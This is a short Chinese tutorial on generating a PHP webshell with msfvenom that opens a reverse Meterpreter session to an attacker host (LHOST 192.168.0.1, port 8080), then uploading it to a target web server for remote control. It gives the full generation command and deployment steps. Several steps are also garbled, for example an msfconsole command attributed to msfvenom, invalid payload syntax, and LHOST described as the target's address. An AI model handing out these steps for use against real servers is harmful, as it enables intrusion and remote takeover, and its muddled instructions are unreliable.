使用msfvenom生成php木马，反弹meterpreter

MSFVenom是一个由Metasploit Framework提供的工具，用于创建各种类型的payloads，包括PHP木马（也称为Webshell）。当你想利用PHP漏洞并获取Meterpreter（Meterpreter是一种高级、交互式的远程管理工具）控制时，可以按照以下步骤操作：

1. **安装与配置**: 首先，你需要安装Metasploit框架及其工具包。如果你尚未安装，可以从其官方网站https://metasploit.com/下载对应平台的版本。

2. **启动MSFVenom**: 打开终端或命令提示符，导航到Metasploit的bin目录，并运行`./msfvenom`。

3. **选择payload**: 输入`show payloads`查看可用的payload选项，找到适用于PHP的Meterpreter payload，如`php/meterpreter/reverse_tcp`。

4. **设置目标和监听端口**: 指定你想要入侵的目标IP地址和Meterpreter服务将监听的本地端口。例如，你可以输入`payload = php/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=8080`。

5. **生成webshell**: 添加`-f`参数指定输出文件格式，这里是PHP，然后指定文件名，例如`-f shell.php`。命令如下：

   msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=8080 -f php -o shell.php

6. **保存与部署**: 这会生成一个名为`shell.php`的PHP脚本，将其上传到目标服务器的网站目录，使其可以通过HTTP访问。

7. **测试连接**: 目标主机访问这个生成的webshell页面，如果一切正常，Meterpreter连接会在受害者计算机上建立。